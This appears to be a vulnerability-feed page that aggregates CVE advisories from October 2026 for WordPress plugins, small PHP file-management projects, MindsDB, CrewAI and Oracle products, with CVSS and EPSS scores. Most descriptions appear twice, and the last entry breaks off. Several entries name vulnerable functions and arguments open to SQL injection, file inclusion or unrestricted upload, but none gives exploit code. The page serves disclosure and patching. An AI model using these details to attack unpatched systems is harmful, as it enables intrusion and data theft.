Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This issue affects ThemeHunk Customizer: from n/a through 2.8.7.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111838).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111838&date=2026-10-25).
Sources:
NVD CVE-2026-111838: https://nvd.nist.gov/vuln/detail/CVE-2026-111838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111838&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeHunk ThemeHunk Customizer themehunk-customizer allows Reflected XSS.This issue affects ThemeHunk Customizer: from n/a through 2.8.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows...
https://kevwire.com/record/CVE-2026-111840
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows... (Oct 21, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.14.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111840).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111840&date=2026-10-25).
Sources:
NVD CVE-2026-111840: https://nvd.nist.gov/vuln/detail/CVE-2026-111840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111840&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VideoWhisper.com Paid Videochat Turnkey Site ppv-live-webcams allows Reflected XSS.This issue affects Paid Videochat Turnkey Site: from n/a through 7.5.14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects...
https://kevwire.com/record/CVE-2026-111848
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects... (Oct 21, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects  Geo Mashup: from n/a through 1.13.22.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111848).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111848&date=2026-10-25).
Sources:
NVD CVE-2026-111848: https://nvd.nist.gov/vuln/detail/CVE-2026-111848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111848&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dylan Kuhn  Geo Mashup geo-mashup allows Reflected XSS.This issue affects  Geo Mashup: from n/a through 1.13.22.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This...
https://kevwire.com/record/CVE-2026-111852
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This... (Oct 21, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This issue affects Ajax Search Lite: from n/a through 4.14.6.
CVSS 9.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111852).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111852&date=2026-10-25).
Sources:
NVD CVE-2026-111852: https://nvd.nist.gov/vuln/detail/CVE-2026-111852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111852&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPdreams Ajax Search Lite ajax-search-lite allows Blind SQL Injection.This issue affects Ajax Search Lite: from n/a through 4.14.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects...
https://kevwire.com/record/CVE-2026-112221
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects... (Oct 21, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects SureCart: from n/a through 4.9.5.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112221).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112221&date=2026-10-25).
Sources:
NVD CVE-2026-112221: https://nvd.nist.gov/vuln/detail/CVE-2026-112221
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112221&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Stored XSS.This issue affects SureCart: from n/a through 4.9.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file...
https://kevwire.com/record/CVE-2026-114253
A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file... (Oct 21, 2026).
A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file index.php. Executing a manipulation of the argument page can lead to file inclusion. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114253).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114253&date=2026-10-25).
Sources:
NVD CVE-2026-114253: https://nvd.nist.gov/vuln/detail/CVE-2026-114253
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114253&date=2026-10-25
A vulnerability was determined in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. The impacted element is the function include of the file index.php. Executing a manipulation of the argument page can lead to file inclusion. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file...
https://kevwire.com/record/CVE-2026-114255
A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file... (Oct 21, 2026).
A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file admin_class.php of the component User Account Management. The manipulation of the argument name/username/password/type/id results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114255).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114255&date=2026-10-25).
Sources:
NVD CVE-2026-114255: https://nvd.nist.gov/vuln/detail/CVE-2026-114255
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114255&date=2026-10-25
A security flaw has been discovered in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This impacts the function save_user of the file admin_class.php of the component User Account Management. The manipulation of the argument name/username/password/type/id results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function...
https://kevwire.com/record/CVE-2026-114256
A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function... (Oct 21, 2026).
A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function save_folder/delete_folder/delete_file/file_rename/save_files of the file admin_class.php of the component Folder Management. This manipulation of the argument name/parent_id/id/type/folder_id/description causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114256).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114256&date=2026-10-25).
Sources:
NVD CVE-2026-114256: https://nvd.nist.gov/vuln/detail/CVE-2026-114256
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114256&date=2026-10-25
A weakness has been identified in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected is the function save_folder/delete_folder/delete_file/file_rename/save_files of the file admin_class.php of the component Folder Management. This manipulation of the argument name/parent_id/id/type/folder_id/description causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the...
https://kevwire.com/record/CVE-2026-114258
A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the... (Oct 21, 2026).
A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the file files.php of the component File Management. Performing a manipulation of the argument fid/id results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114258).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114258&date=2026-10-25).
Sources:
NVD CVE-2026-114258: https://nvd.nist.gov/vuln/detail/CVE-2026-114258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114258&date=2026-10-25
A vulnerability was detected in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. Affected by this issue is some unknown functionality of the file files.php of the component File Management. Performing a manipulation of the argument fid/id results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php.
https://kevwire.com/record/CVE-2026-114259
A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php. (Oct 21, 2026).
A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php. Executing a manipulation of the argument Upload can lead to unrestricted upload. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114259).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114259&date=2026-10-25).
Sources:
NVD CVE-2026-114259: https://nvd.nist.gov/vuln/detail/CVE-2026-114259
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114259&date=2026-10-25
A flaw has been found in oretnom23 file-management-system-php up to 2e3c1ebe60f121e8df4fb3f544f0e9591d9a01e4. This affects the function save_files of the file admin_class.php. Executing a manipulation of the argument Upload can lead to unrestricted upload. It is possible to launch the attack remotely. The exploit has been published and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file...
https://kevwire.com/record/CVE-2026-114261
A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file... (Oct 21, 2026).
A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file app/Http/Controllers/FileController.php of the component Files API. The manipulation of the argument Request results in missing authentication. The attack can be launched remotely. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114261).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114261&date=2026-10-25).
Sources:
NVD CVE-2026-114261: https://nvd.nist.gov/vuln/detail/CVE-2026-114261
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114261&date=2026-10-25
A vulnerability was found in MomoTommy file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. This issue affects the function index/store/update/destroy of the file app/Http/Controllers/FileController.php of the component Files API. The manipulation of the argument Request results in missing authentication. The attack can be launched remotely. The exploit has been made public and could be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file...
https://kevwire.com/record/CVE-2026-114262
A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file... (Oct 21, 2026).
A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file app/Http/Controllers/FileController.php. This manipulation of the argument File causes unrestricted upload. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114262).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114262&date=2026-10-25).
Sources:
NVD CVE-2026-114262: https://nvd.nist.gov/vuln/detail/CVE-2026-114262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114262&date=2026-10-25
A vulnerability was determined in file-management-system dc9ce1bf27f94b23d906cb1e86ce374dc94ca5df. Impacted is the function store of the file app/Http/Controllers/FileController.php. This manipulation of the argument File causes unrestricted upload. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-92207
MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability. (Oct 21, 2026).
MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MindsDB. Authentication is required to exploit this vulnerability.

The specific flaw exists within the OpenBBtable class. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28388.
CVSS 8.8 (version 3.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92207).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92207&date=2026-10-25).
Sources:
NVD CVE-2026-92207: https://nvd.nist.gov/vuln/detail/CVE-2026-92207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92207&date=2026-10-25
MindsDB OpenBBtable Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of MindsDB. Authentication is required to exploit this vulnerability.

The specific flaw exists within the OpenBBtable class. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28388.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability.
https://kevwire.com/record/CVE-2026-92206
CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability. (Oct 21, 2026).
CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of CrewAI crewAI. User interaction is required to exploit this vulnerability in that the target must load a malicious agent configuration from the repository.

The specific flaw exists within the load_agent_from_repository function. The process does not properly restrict a user-supplied argument before using it to import a module. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28387.
CVSS 8.8 (version 3.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92206).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92206&date=2026-10-25).
Sources:
NVD CVE-2026-92206: https://nvd.nist.gov/vuln/detail/CVE-2026-92206
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92206&date=2026-10-25
CrewAI crewAI Framework Agent Loading Unsafe Reflection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of CrewAI crewAI. User interaction is required to exploit this vulnerability in that the target must load a malicious agent configuration from the repository.

The specific flaw exists within the load_agent_from_repository function. The process does not properly restrict a user-supplied argument before using it to import a module. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-28387.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues).
https://kevwire.com/record/CVE-2026-101469
Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues). (Oct 20, 2026).
Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues).   The supported version that is affected is 3.6.1. Difficult to exploit vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Product Lifecycle Analytics.  Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101469).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101469&date=2026-10-25).
Sources:
NVD CVE-2026-101469: https://nvd.nist.gov/vuln/detail/CVE-2026-101469
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101469&date=2026-10-25
Vulnerability in the Oracle Product Lifecycle Analytics product of Oracle Supply Chain (component: Installation Issues).   The supported version that is affected is 3.6.1. Difficult to exploit vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Product Lifecycle Analytics.  Successful attacks of this vulnerability can result in takeover of Oracle Product Lifecycle Analytics. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework).
https://kevwire.com/record/CVE-2026-101467
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework). (Oct 20, 2026).
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM End User accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101467).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101467&date=2026-10-25).
Sources:
NVD CVE-2026-101467: https://nvd.nist.gov/vuln/detail/CVE-2026-101467
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101467&date=2026-10-25
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: Portal Framework).  Supported versions that are affected are 17.0-26.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Siebel CRM End User.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM End User accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM End User accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI).
https://kevwire.com/record/CVE-2026-101463
Vulnerability in the Siebel CRM End User product of Oracle Siebel CRM (component: UIF Open UI). (Oct 20, 2026).
